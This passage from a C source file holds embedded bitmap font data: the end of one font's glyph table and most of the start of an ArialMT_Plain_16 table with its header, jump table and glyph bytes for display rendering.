0x00,0x00,0x10,0x02,0x78,0x01,0xC0,0x00,0x20,0x01,0x90,0x01,0xC8,0x03,0x00,0x01,  // 188\n  0x00,0x00,0x10,0x02,0x78,0x01,0x80,0x00,0x60,0x00,0x50,0x02,0x48,0x03,0xC0,0x02,  // 189\n  0x48,0x00,0x58,0x00,0x68,0x03,0x80,0x00,0x60,0x01,0x90,0x01,0xC8,0x03,0x00,0x01,  // 190\n  0x00,0x00,0x00,0x06,0x00,0x09,0xA0,0x09,0x00,0x04,  // 191\n  0x00,0x02,0xC0,0x01,0xB0,0x00,0x89,0x00,0xB2,0x00,0xC0,0x01,0x00,0x02,  // 192\n  0x00,0x02,0xC0,0x01,0xB0,0x00,0x8A,0x00,0xB1,0x00,0xC0,0x01,0x00,0x02,  // 193\n  0x00,0x02,0xC0,0x01,0xB2,0x00,0x89,0x00,0xB2,0x00,0xC0,0x01,0x00,0x02,  // 194\n  0x00,0x02,0xC2,0x01,0xB1,0x00,0x8A,0x00,0xB1,0x00,0xC0,0x01,0x00,0x02,  // 195\n  0x00,0x02,0xC0,0x01,0xB2,0x00,0x88,0x00,0xB2,0x00,0xC0,0x01,0x00,0x02,  // 196\n  0x00,0x02,0xC0,0x01,0xBE,0x00,0x8A,0x00,0xBE,0x00,0xC0,0x01,0x00,0x02,  // 197\n  0x00,0x03,0xC0,0x00,0xE0,0x00,0x98,0x00,0x88,0x00,0xF8,0x03,0x48,0x02,0x48,0x02,0x48,0x02,  // 198\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x08,0x16,0x08,0x1A,0x10,0x01,  // 199\n  0x00,0x00,0xF8,0x03,0x49,0x02,0x4A,0x02,0x48,0x02,0x48,0x02,  // 200\n  0x00,0x00,0xF8,0x03,0x48,0x02,0x4A,0x02,0x49,0x02,0x48,0x02,  // 201\n  0x00,0x00,0xFA,0x03,0x49,0x02,0x4A,0x02,0x48,0x02,0x48,0x02,  // 202\n  0x00,0x00,0xF8,0x03,0x4A,0x02,0x48,0x02,0x4A,0x02,0x48,0x02,  // 203\n  0x00,0x00,0xF9,0x03,0x02, // 204\n  0x02,0x00,0xF9,0x03,  // 205\n  0x01,0x00,0xFA,0x03,  // 206\n  0x02,0x00,0xF8,0x03,0x02, // 207\n  0x40,0x00,0xF8,0x03,0x48,0x02,0x48,0x02,0x10,0x01,0xE0, // 208\n  0x00,0x00,0xFA,0x03,0x31,0x00,0x42,0x00,0x81,0x01,0xF8,0x03,  // 209\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x09,0x02,0x0A,0x02,0x08,0x02,0xF0,0x01,  // 210\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x0A,0x02,0x09,0x02,0x08,0x02,0xF0,0x01,  // 211\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x0A,0x02,0x09,0x02,0x0A,0x02,0xF0,0x01,  // 212\n  0x00,0x00,0xF0,0x01,0x0A,0x02,0x09,0x02,0x0A,0x02,0x09,0x02,0xF0,0x01,  // 213\n  0x00,0x00,0xF0,0x01,0x0A,0x02,0x08,0x02,0x0A,0x02,0x08,0x02,0xF0,0x01,  // 214\n  0x10,0x01,0xA0,0x00,0xE0,0x00,0xA0,0x00,0x10,0x01,  // 215\n  0x00,0x00,0xF0,0x02,0x08,0x03,0xC8,0x02,0x28,0x02,0x18,0x03,0xE8, // 216\n  0x00,0x00,0xF8,0x01,0x01,0x02,0x02,0x02,0x00,0x02,0xF8,0x01,  // 217\n  0x00,0x00,0xF8,0x01,0x02,0x02,0x01,0x02,0x00,0x02,0xF8,0x01,  // 218\n  0x00,0x00,0xF8,0x01,0x02,0x02,0x01,0x02,0x02,0x02,0xF8,0x01,  // 219\n  0x00,0x00,0xF8,0x01,0x02,0x02,0x00,0x02,0x02,0x02,0xF8,0x01,  // 220\n  0x08,0x00,0x10,0x00,0x20,0x00,0xC2,0x03,0x21,0x00,0x10,0x00,0x08, // 221\n  0x00,0x00,0xF8,0x03,0x10,0x01,0x10,0x01,0x10,0x01,0xE0, // 222\n  0x00,0x00,0xF0,0x03,0x08,0x01,0x48,0x02,0xB0,0x02,0x80,0x01,  // 223\n  0x00,0x00,0x00,0x03,0xA4,0x02,0xA8,0x02,0xE0,0x03,  // 224\n  0x00,0x00,0x00,0x03,0xA8,0x02,0xA4,0x02,0xE0,0x03,  // 225\n  0x00,0x00,0x00,0x03,0xA8,0x02,0xA4,0x02,0xE8,0x03,  // 226\n  0x00,0x00,0x08,0x03,0xA4,0x02,0xA8,0x02,0xE4,0x03,  // 227\n  0x00,0x00,0x00,0x03,0xA8,0x02,0xA0,0x02,0xE8,0x03,  // 228\n  0x00,0x00,0x00,0x03,0xAE,0x02,0xAA,0x02,0xEE,0x03,  // 229\n  0x00,0x00,0x40,0x03,0xA0,0x02,0xA0,0x02,0xC0,0x01,0xA0,0x02,0xA0,0x02,0xC0,0x02,  // 230\n  0x00,0x00,0xC0,0x01,0x20,0x16,0x20,0x1A,0x40,0x01,  // 231\n  0x00,0x00,0xC0,0x01,0xA4,0x02,0xA8,0x02,0xC0,0x02,  // 232\n  0x00,0x00,0xC0,0x01,0xA8,0x02,0xA4,0x02,0xC0,0x02,  // 233\n  0x00,0x00,0xC0,0x01,0xA8,0x02,0xA4,0x02,0xC8,0x02,  // 234\n  0x00,0x00,0xC0,0x01,0xA8,0x02,0xA0,0x02,0xC8,0x02,  // 235\n  0x00,0x00,0xE4,0x03,0x08, // 236\n  0x08,0x00,0xE4,0x03,  // 237\n  0x08,0x00,0xE4,0x03,0x08, // 238\n  0x08,0x00,0xE0,0x03,0x08, // 239\n  0x00,0x00,0xC0,0x01,0x28,0x02,0x38,0x02,0xE0,0x01,  // 240\n  0x00,0x00,0xE8,0x03,0x24,0x00,0x28,0x00,0xC4,0x03,  // 241\n  0x00,0x00,0xC0,0x01,0x24,0x02,0x28,0x02,0xC0,0x01,  // 242\n  0x00,0x00,0xC0,0x01,0x28,0x02,0x24,0x02,0xC0,0x01,  // 243\n  0x00,0x00,0xC0,0x01,0x28,0x02,0x24,0x02,0xC8,0x01,  // 244\n  0x00,0x00,0xC8,0x01,0x24,0x02,0x28,0x02,0xC4,0x01,  // 245\n  0x00,0x00,0xC0,0x01,0x28,0x02,0x20,0x02,0xC8,0x01,  // 246\n  0x40,0x00,0x40,0x00,0x50,0x01,0x40,0x00,0x40, // 247\n  0x00,0x00,0xC0,0x02,0xA0,0x03,0x60,0x02,0xA0,0x01,  // 248\n  0x00,0x00,0xE0,0x01,0x04,0x02,0x08,0x02,0xE0,0x03,  // 249\n  0x00,0x00,0xE0,0x01,0x08,0x02,0x04,0x02,0xE0,0x03,  // 250\n  0x00,0x00,0xE8,0x01,0x04,0x02,0x08,0x02,0xE0,0x03,  // 251\n  0x00,0x00,0xE0,0x01,0x08,0x02,0x00,0x02,0xE8,0x03,  // 252\n  0x20,0x00,0xC0,0x09,0x08,0x06,0xC4,0x01,0x20, // 253\n  0x00,0x00,0xF8,0x0F,0x20,0x02,0x20,0x02,0xC0,0x01,  // 254\n  0x20,0x00,0xC8,0x09,0x00,0x06,0xC8,0x01,0x20  // 255\n};\n\nconst uint8_t ArialMT_Plain_16[] PROGMEM = {\n  0x10, // Width: 16\n  0x13, // Height: 19\n  0x20, // First Char: 32\n  0xE0, // Numbers of Chars: 224\n\n  // Jump Table:\n  0xFF, 0xFF, 0x00, 0x04,  // 32:65535\n  0x00, 0x00, 0x08, 0x04,  // 33:0\n  0x00, 0x08, 0x0D, 0x06,  // 34:8\n  0x00, 0x15, 0x1A, 0x09,  // 35:21\n  0x00, 0x2F, 0x17, 0x09,  // 36:47\n  0x00, 0x46, 0x26, 0x0E,  // 37:70\n  0x00, 0x6C, 0x1D, 0x0B,  // 38:108\n  0x00, 0x89, 0x04, 0x03,  // 39:137\n  0x00, 0x8D, 0x0C, 0x05,  // 40:141\n  0x00, 0x99, 0x0B, 0x05,  // 41:153\n  0x00, 0xA4, 0x0D, 0x06,  // 42:164\n  0x00, 0xB1, 0x17, 0x09,  // 43:177\n  0x00, 0xC8, 0x09, 0x04,  // 44:200\n  0x00, 0xD1, 0x0B, 0x05,  // 45:209\n  0x00, 0xDC, 0x08, 0x04,  // 46:220\n  0x00, 0xE4, 0x0A, 0x04,  // 47:228\n  0x00, 0xEE, 0x17, 0x09,  // 48:238\n  0x01, 0x05, 0x11, 0x09,  // 49:261\n  0x01, 0x16, 0x17, 0x09,  // 50:278\n  0x01, 0x2D, 0x17, 0x09,  // 51:301\n  0x01, 0x44, 0x17, 0x09,  // 52:324\n  0x01, 0x5B, 0x17, 0x09,  // 53:347\n  0x01, 0x72, 0x17, 0x09,  // 54:370\n  0x01, 0x89, 0x16, 0x09,  // 55:393\n  0x01, 0x9F, 0x17, 0x09,  // 56:415\n  0x01, 0xB6, 0x17, 0x09,  // 57:438\n  0x01, 0xCD, 0x05, 0x04,  // 58:461\n  0x01, 0xD2, 0x06, 0x04,  // 59:466\n  0x01, 0xD8, 0x17, 0x09,  // 60:472\n  0x01, 0xEF, 0x17, 0x09,  // 61:495\n  0x02, 0x06, 0x17, 0x09,  // 62:518\n  0x02, 0x1D, 0x16, 0x09,  // 63:541\n  0x02, 0x33, 0x2F, 0x10,  // 64:563\n  0x02, 0x62, 0x1D, 0x0B,  // 65:610\n  0x02, 0x7F, 0x1D, 0x0B,  // 66:639\n  0x02, 0x9C, 0x20, 0x0C,  // 67:668\n  0x02, 0xBC, 0x20, 0x0C,  // 68:700\n  0x02, 0xDC, 0x1D, 0x0B,  // 69:732\n  0x02, 0xF9, 0x19, 0x0A,  // 70:761\n  0x03, 0x12, 0x20, 0x0C,  // 71:786\n  0x03, 0x32, 0x1D, 0x0C,  // 72:818\n  0x03, 0x4F, 0x05, 0x04,  // 73:847\n  0x03, 0x54, 0x14, 0x08,  // 74:852\n  0x03, 0x68, 0x1D, 0x0B,  // 75:872\n  0x03, 0x85, 0x17, 0x09,  // 76:901\n  0x03, 0x9C, 0x23, 0x0D,  // 77:924\n  0x03, 0xBF, 0x1D, 0x0C,  // 78:959\n  0x03, 0xDC, 0x20, 0x0C,  // 79:988\n  0x03, 0xFC, 0x1C, 0x0B,  // 80:1020\n  0x04, 0x18, 0x20, 0x0C,  // 81:1048\n  0x04, 0x38, 0x1D, 0x0C,  // 82:1080\n  0x04, 0x55, 0x1D, 0x0B,  // 83:1109\n  0x04, 0x72, 0x19, 0x0A,  // 84:1138\n  0x04, 0x8B, 0x1D, 0x0C,  // 85:1163\n  0x04, 0xA8, 0x1C, 0x0B,  // 86:1192\n  0x04, 0xC4, 0x2B, 0x0F,  // 87:1220\n  0x04, 0xEF, 0x20, 0x0B,  // 88:1263\n  0x05, 0x0F, 0x19, 0x0B,  // 89:1295\n  0x05, 0x28, 0x1A, 0x0A,  // 90:1320\n  0x05, 0x42, 0x0C, 0x04,  // 91:1346\n  0x05, 0x4E, 0x0B, 0x04,  // 92:1358\n  0x05, 0x59, 0x09, 0x04,  // 93:1369\n  0x05, 0x62, 0x14, 0x08,  // 94:1378\n  0x05, 0x76, 0x1B, 0x09,  // 95:1398\n  0x05, 0x91, 0x07, 0x05,  // 96:1425\n  0x05, 0x98, 0x17, 0x09,  // 97:1432\n  0x05, 0xAF, 0x17, 0x09,  // 98:1455\n  0x05, 0xC6, 0x14, 0x08,  // 99:1478\n  0x05, 0xDA, 0x17, 0x09,  // 100:1498\n  0x05, 0xF1, 0x17, 0x09,  // 101:1521\n  0x06, 0x08, 0x0A, 0x04,  // 102:1544\n  0x06, 0x12, 0x17, 0x09,  // 103:1554\n  0x06, 0x29, 0x14, 0x09,  // 104:1577\n  0x06, 0x3D, 0x05, 0x04,  // 105:1597\n  0x06, 0x42, 0x06, 0x04,  // 106:1602\n  0x06, 0x48, 0x17, 0x08,  // 107:1608\n  0x06, 0x5F, 0x05, 0x04,  // 108:1631\n  0x06, 0x64, 0x23, 0x0D,  // 109:1636\n  0x06, 0x87, 0x14, 0x09,  // 110:1671\n  0x06, 0x9B, 0x17, 0x09,  // 111:1691\n  0x06, 0xB2, 0x17, 0x09,  // 112:1714\n  0x06, 0xC9, 0x18, 0x09,  // 113:1737\n  0x06, 0xE1, 0x0D, 0x05,  // 114:1761\n  0x06, 0xEE, 0x14, 0x08,  // 115:1774\n  0x07, 0x02, 0x0B, 0x04,  // 116:1794\n  0x07, 0x0D, 0x14, 0x09,  // 117:1805\n  0x07, 0x21, 0x13, 0x08,  // 118:1825\n  0x07, 0x34, 0x1F, 0x0C,  // 119:1844\n  0x07, 0x53, 0x14, 0x08,  // 120:1875\n  0x07, 0x67, 0x13, 0x08,  // 121:1895\n  0x07, 0x7A, 0x14, 0x08,  // 122:1914\n  0x07, 0x8E, 0x0F, 0x05,  // 123:1934\n  0x07, 0x9D, 0x06, 0x04,  // 124:1949\n  0x07, 0xA3, 0x0E, 0x05,  // 125:1955\n  0x07, 0xB1, 0x17, 0x09,  // 126:1969\n  0xFF, 0xFF, 0x00, 0x00,  // 127:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 128:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 129:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 130:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 131:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 132:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 133:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 134:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 135:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 136:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 137:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 138:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 139:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 140:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 141:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 142:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 143:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 144:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 145:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 146:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 147:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 148:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 149:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 150:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 151:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 152:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 153:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 154:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 155:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 156:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 157:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 158:65535\n  0xFF, 0xFF, 0x00, 0x10,  // 159:65535\n  0xFF, 0xFF, 0x00, 0x04,  // 160:65535\n  0x07, 0xC8, 0x09, 0x05,  // 161:1992\n  0x07, 0xD1, 0x17, 0x09,  // 162:2001\n  0x07, 0xE8, 0x17, 0x09,  // 163:2024\n  0x07, 0xFF, 0x14, 0x09,  // 164:2047\n  0x08, 0x13, 0x1A, 0x09,  // 165:2067\n  0x08, 0x2D, 0x06, 0x04,  // 166:2093\n  0x08, 0x33, 0x17, 0x09,  // 167:2099\n  0x08, 0x4A, 0x07, 0x05,  // 168:2122\n  0x08, 0x51, 0x23, 0x0C,  // 169:2129\n  0x08, 0x74, 0x0E, 0x06,  // 170:2164\n  0x08, 0x82, 0x14, 0x09,  // 171:2178\n  0x08, 0x96, 0x17, 0x09,  // 172:2198\n  0x08, 0xAD, 0x0B, 0x05,  // 173:2221\n  0x08, 0xB8, 0x23, 0x0C,  // 174:2232\n  0x08, 0xDB, 0x19, 0x09,  // 175:2267\n  0x08, 0xF4, 0x0D, 0x06,  // 176:2292\n  0x09, 0x01, 0x17, 0x09,  // 177:2305\n  0x09, 0x18, 0x0E, 0x05,  // 178:2328\n  0x09, 0x26, 0x0D, 0x05,  // 179:2342\n  0x09, 0x33, 0x0A, 0x05,  // 180:2355\n  0x09, 0x3D, 0x17, 0x09,  // 181:2365\n  0x09, 0x54, 0x19, 0x09,  // 182:2388\n  0x09, 0x6D, 0x08, 0x05,  // 183:2413\n  0x09, 0x75, 0x0C, 0x05,  // 184:2421\n  0x09, 0x81, 0x0B, 0x05,  // 185:2433\n  0x09, 0x8C, 0x0D, 0x06,  // 186:2444\n  0x09, 0x99, 0x17, 0x09,  // 187:2457\n  0x09, 0xB0, 0x26, 0x0D,  // 188:2480\n  0x09, 0xD6, 0x26, 0x0D,  // 189:2518\n  0x09, 0xFC, 0x26, 0x0D,  // 190:2556\n  0x0A, 0x22, 0x1A, 0x0A,  // 191:2594\n  0x0A, 0x3C, 0x1D, 0x0B,  // 192:2620\n  0x0A, 0x59, 0x1D, 0x0B,  // 193:2649\n  0x0A, 0x76, 0x1D, 0x0B,  // 194:2678\n  0x0A, 0x93, 0x1D, 0x0B,  // 195:2707\n  0x0A, 0xB0, 0x1D, 0x0B,  // 196:2736\n  0x0A, 0xCD, 0x1D, 0x0B,  // 197:2765\n  0x0A, 0xEA, 0x2C, 0x10,  // 198:2794\n  0x0B, 0x16, 0x20, 0x0C,  // 199:2838\n  0x0B, 0x36, 0x1D, 0x0B,  // 200:2870\n  0x0B, 0x53, 0x1D, 0x0B,  // 201:2899\n  0x0B, 0x70, 0x1D, 0x0B,  // 202:2928\n  0x0B, 0x8D, 0x1D, 0x0B,  // 203:2957\n  0x0B, 0xAA, 0x05, 0x04,  // 204:2986\n  0x0B, 0xAF, 0x07, 0x04,  // 205:2991\n  0x0B, 0xB6, 0x0A, 0x04,  // 206:2998\n  0x0B, 0xC0, 0x07, 0x04,  // 207:3008\n  0x0B, 0xC7, 0x20, 0x0C,  // 208:3015\n  0x0B, 0xE7, 0x1D, 0x0C,  // 209:3047\n  0x0C, 0x04, 0x20, 0x0C,  // 210:3076\n  0x0C, 0x24, 0x20, 0x0C,  // 211:3108\n  0x0C, 0x44, 0x20, 0x0C,  // 212:3140\n  0x0C, 0x64, 0x20, 0x0C,  // 213:3172\n  0x0C, 0x84, 0x20, 0x0C,  // 214:3204\n  0x0C, 0xA4, 0x17, 0x09,  // 215:3236\n  0x0C, 0xBB, 0x20, 0x0C,  // 216:3259\n  0x0C, 0xDB, 0x1D, 0x0C,  // 217:3291\n  0x0C, 0xF8, 0x1D, 0x0C,  // 218:3320\n  0x0D, 0x15, 0x1D, 0x0C,  // 219:3349\n  0x0D, 0x32, 0x1D, 0x0C,  // 220:3378\n  0x0D, 0x4F, 0x19, 0x0B,  // 221:3407\n  0x0D, 0x68, 0x1D, 0x0B,  // 222:3432\n  0x0D, 0x85, 0x17, 0x0A,  // 223:3461\n  0x0D, 0x9C, 0x17, 0x09,  // 224:3484\n  0x0D, 0xB3, 0x17, 0x09,  // 225:3507\n  0x0D, 0xCA, 0x17, 0x09,  // 226:3530\n  0x0D, 0xE1, 0x17, 0x09,  // 227:3553\n  0x0D, 0xF8, 0x17, 0x09,  // 228:3576\n  0x0E, 0x0F, 0x17, 0x09,  // 229:3599\n  0x0E, 0x26, 0x29, 0x0E,  // 230:3622\n  0x0E, 0x4F, 0x14, 0x08,  // 231:3663\n  0x0E, 0x63, 0x17, 0x09,  // 232:3683\n  0x0E, 0x7A, 0x17, 0x09,  // 233:3706\n  0x0E, 0x91, 0x17, 0x09,  // 234:3729\n  0x0E, 0xA8, 0x17, 0x09,  // 235:3752\n  0x0E, 0xBF, 0x05, 0x04,  // 236:3775\n  0x0E, 0xC4, 0x07, 0x04,  // 237:3780\n  0x0E, 0xCB, 0x0A, 0x04,  // 238:3787\n  0x0E, 0xD5, 0x07, 0x04,  // 239:3797\n  0x0E, 0xDC, 0x17, 0x09,  // 240:3804\n  0x0E, 0xF3, 0x14, 0x09,  // 241:3827\n  0x0F, 0x07, 0x17, 0x09,  // 242:3847\n  0x0F, 0x1E, 0x17, 0x09,  // 243:3870\n  0x0F, 0x35, 0x17, 0x09,  // 244:3893\n  0x0F, 0x4C, 0x17, 0x09,  // 245:3916\n  0x0F, 0x63, 0x17, 0x09,  // 246:3939\n  0x0F, 0x7A, 0x17, 0x09,  // 247:3962\n  0x0F, 0x91, 0x17, 0x0A,  // 248:3985\n  0x0F, 0xA8, 0x14, 0x09,  // 249:4008\n  0x0F, 0xBC, 0x14, 0x09,  // 250:4028\n  0x0F, 0xD0, 0x14, 0x09,  // 251:4048\n  0x0F, 0xE4, 0x14, 0x09,  // 252:4068\n  0x0F, 0xF8, 0x13, 0x08,  // 253:4088\n  0x10, 0x0B, 0x17, 0x09,  // 254:4107\n  0x10, 0x22, 0x13, 0x08,  // 255:4130\n\n  // Font Data:\n  0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x5F,  // 33\n  0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78, // 34\n  0x80,0x08,0x00,0x80,0x78,0x00,0xC0,0x0F,0x00,0xB8,0x08,0x00,0x80,0x08,0x00,0x80,0x78,0x00,0xC0,0x0F,0x00,0xB8,0x08,0x00,0x80,0x08,  // 35\n  0x00,0x00,0x00,0xE0,0x10,0x00,0x10,0x21,0x00,0x08,0x41,0x00,0xFC,0xFF,0x00,0x08,0x42,0x00,0x10,0x22,0x00,0x20,0x1C, // 36\n  0x00,0x00,0x00,0xF0,0x00,0x00,0x08,0x01,0x00,0x08,0x01,0x00,0x08,0x61,0x00,0xF0,0x18,0x00,0x00,0x06,0x00,0xC0,0x01,0x00,0x30,0x3C,0x00,0x08,0x42,0x00,0x00,0x42,0x00,0x00,0x42,0x00,0x00,0x3C,  // 37\n  0x00,0x00,0x00,0x00,0x1C,0x00,0x70,0x22,0x00,0x88,0x41,0x00,0x08,0x43,0x00,0x88,0x44,0x00,0x70,0x28,0x00,0x00,0x10,0x00,0x00,0x28,0x00,0x00,0x44, // 38\n  0x00,0x00,0x00,0x78,  // 39\n  0x00,0x00,0x00,0x80,0x3F,0x00,0x70,0xC0,0x01,0x08,0x00,0x02,  // 40\n  0x00,0x00,0x00,0x08,0x00,0x02,0x70,0xC0,0x01,0x80,0x3F, // 41\n  0x10,0x00,0x00,0xD0,0x00,0x00,0x38,0x00,0x00,0xD0,0x00,0x00,0x10, // 42\n  0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0xC0,0x1F,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02, // 43\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x01, // 44\n  0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08, // 45\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,  // 46\n  0x00,0x60,0x00,0x00,0x1E,0x00,0xE0,0x01,0x00,0x18,  // 47\n  0x00,0x00,0x00,0xE0,0x1F,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0xE0,0x1F, // 48\n  0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x10,0x00,0x00,0xF8,0x7F, // 49\n  0x00,0x00,0x00,0x20,0x40,0x00,0x10,0x60,0x00,0x08,0x50,0x00,0x08,0x48,0x00,0x08,0x44,0x00,0x10,0x43,0x00,0xE0,0x40, // 50\n  0x00,0x00,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x88,0x41,0x00,0xF0,0x22,0x00,0x00,0x1C, // 51\n  0x00,0x0C,0x00,0x00,0x0A,0x00,0x00,0x09,0x00,0xC0,0x08,0x00,0x20,0x08,0x00,0x10,0x08,0x00,0xF8,0x7F,0x00,0x00,0x08, // 52\n  0x00,0x00,0x00,0xC0,0x11,0x00,0xB8,0x20,0x00,0x88,0x40,0x00,0x88,0x40,0x00,0x88,0x40,0x00,0x08,0x21,0x00,0x08,0x1E, // 53\n  0x00,0x00,0x00,0xE0,0x1F,0x00,0x10,0x21,0x00,0x88,0x40,0x00,0x88,0x40,0x00,0x88,0x40,0x00,0x10,0x21,0x00,0x20,0x1E, // 54\n  0x00,0x00,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08,0x78,0x00,0x08,0x07,0x00,0xC8,0x00,0x00,0x28,0x00,0x00,0x18,  // 55\n  0x00,0x00,0x00,0x60,0x1C,0x00,0x90,0x22,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x90,0x22,0x00,0x60,0x1C, // 56\n  0x00,0x00,0x00,0xE0,0x11,0x00,0x10,0x22,0x00,0x08,0x44,0x00,0x08,0x44,0x00,0x08,0x44,0x00,0x10,0x22,0x00,0xE0,0x1F, // 57\n  0x00,0x00,0x00,0x40,0x40, // 58\n  0x00,0x00,0x00,0x40,0xC0,0x01,  // 59\n  0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x05,0x00,0x00,0x05,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x40,0x10, // 60\n  0x00,0x00,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08, // 61\n  0x00,0x00,0x00,0x40,0x10,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x80,0x08,0x00,0x00,0x05,0x00,0x00,0x05,0x00,0x00,0x02, // 62\n  0x00,0x00,0x00,0x60,0x00,0x00,0x10,0x00,0x00,0x08,0x00,0x00,0x08,0x5C,0x00,0x08,0x02,0x00,0x10,0x01,0x00,0xE0,  // 63\n  0x00,0x00,0x00,0x00,0x3F,0x00,0xC0,0x40,0x00,0x20,0x80,0x00,0x10,0x1E,0x01,0x10,0x21,0x01,0x88,0x40,0x02,0x48,0x40,0x02,0x48,0x40,0x02,0x48,0x20,0x02,0x88,0x7C,0x02,0xC8,0x43,0x02,0x10,0x40,0x02,0x10,0x20,0x01,0x60,0x10,0x01,0x80,0x8F, // 64\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x70,0x04,0x00,0x08,0x04,0x00,0x70,0x04,0x00,0x80,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 65\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x90,0x22,0x00,0x60,0x1C, // 66\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,  // 67\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 68\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x40, // 69\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08, // 70\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x42,0x00,0x08,0x42,0x00,0x10,0x22,0x00,0x20,0x12,0x00,0x00,0x0E,  // 71\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0xF8,0x7F, // 72\n  0x00,0x00,0x00,0xF8,0x7F, // 73\n  0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0xF8,0x3F,  // 74\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x00,0x04,0x00,0x00,0x02,0x00,0x00,0x01,0x00,0x80,0x03,0x00,0x40,0x04,0x00,0x20,0x18,0x00,0x10,0x20,0x00,0x08,0x40, // 75\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40, // 76\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x30,0x00,0x00,0xC0,0x00,0x00,0x00,0x03,0x00,0x00,0x1C,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x00,0x03,0x00,0xC0,0x00,0x00,0x30,0x00,0x00,0xF8,0x7F, // 77\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x10,0x00,0x00,0x60,0x00,0x00,0x80,0x00,0x00,0x00,0x03,0x00,0x00,0x04,0x00,0x00,0x18,0x00,0x00,0x20,0x00,0xF8,0x7F, // 78\n  